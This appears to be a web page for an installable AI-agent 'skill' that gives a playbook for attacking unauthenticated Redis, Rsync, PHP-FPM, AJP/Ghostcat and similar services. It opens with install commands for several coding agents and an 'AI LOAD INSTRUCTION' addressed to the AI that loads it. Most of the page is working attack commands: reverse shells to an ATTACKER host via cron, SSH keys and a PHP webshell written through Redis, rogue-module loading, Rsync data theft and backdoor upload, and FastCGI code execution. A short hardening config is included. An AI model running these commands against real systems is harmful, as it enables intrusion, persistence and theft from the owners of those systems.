401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
Claude Code
$ npx -y skills add yaklang/hack-skills --skill unauthorized-access-common-services --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill unauthorized-access-common-services -a windsurf -y
name: unauthorized-access-common-services description: >- Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
> **AI LOAD INSTRUCTION**: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.
Also load [PORT_SERVICE_MATRIX.md](./PORT_SERVICE_MATRIX.md) when you need:
---
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET # Key ports: # 6379 — Redis # 873 — Rsync # 9000 — PHP-FPM (FastCGI) # 8009 — AJP (Tomcat Ghostcat) # 8088 — Hadoop YARN ResourceManager # 8082 — H2 Console (or embedded in Spring Boot) # 1099 — Java RMI Registry # 9200 — Elasticsearch # 5984 — CouchDB # 2375 — Docker API # 27017 — MongoDB # 11211 — Memcached
---
redis-cli -h TARGET ping # Response: PONG = unauthenticated access confirmed redis-cli -h TARGET INFO server # Returns Redis version, OS, config
# Generate key pair: ssh-keygen -t rsa -f redis_rsa # Write public key to Redis, then dump to authorized_keys: cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key redis-cli -h TARGET config set dir /root/.ssh redis-cli -h TARGET config set dbfilename authorized_keys redis-cli -h TARGET save # Connect: ssh -i redis_rsa root@TARGET
redis-cli -h TARGET > set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n" > config set dir /var/spool/cron/ > config set dbfilename root > save
redis-cli -h TARGET > set webshell "<?php system($_GET['cmd']); ?>" > config set dir /var/www/html/ > config set dbfilename shell.php > save # Access: http://TARGET/shell.php?cmd=id
Use `redis-rogue-server` to exploit master-slave replication for loading malicious `.so` module:
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER # Loads module via SLAVEOF → MODULE LOAD → system.exec
requirepass STRONG_PASSWORD bind 127.0.0.1 protected-mode yes rename-command CONFIG "" rename-command FLUSHALL ""
---
rsync TARGET:: # Lists available modules (shares) if anonymous access allowed rsync -av TARGET::MODULE_NAME /tmp/loot/ # Download entire module contents
# Create reverse shell cron: echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron # Upload to target's crontab (if writable module maps to /etc/ or similar): rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
# /etc/rsyncd.conf: auth users = rsync_user secrets file = /etc/rsyncd.secrets list = no hosts allow = 10.0.0.0/8 read only = yes
---
PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.
# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input" (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"SCRIPT_FILENAME = /var/www/html/index.php # must point to an existing .php file PHP_VALUE = auto_prepend_file = php://input # injects POST body as PHP code PHP_ADMIN_VALUE = allow_url_include = On # enables remote inclusion
gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00... # Encoded FastCGI packet # Tool: Gopherus generates the gopher:// URL python3 gopherus.py --exploit fastcgi
; php-fpm.conf — bind to socket only: listen = /var/run/php-fpm.sock ; If TCP required, restrict: listen.allowed_clients = 127.0.0.1
---
Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set `javax.servlet.include.request_uri` to read arbitrary files from the webapp directory.
# Using ajpShooter or similar: python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read # Reads any file within the webapp root: # /WEB-INF/web.xml — deployment descriptor # /WEB-INF/classes/*.class — compiled Java classes # /WEB-INF/lib/*.jar — library JARs
I
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…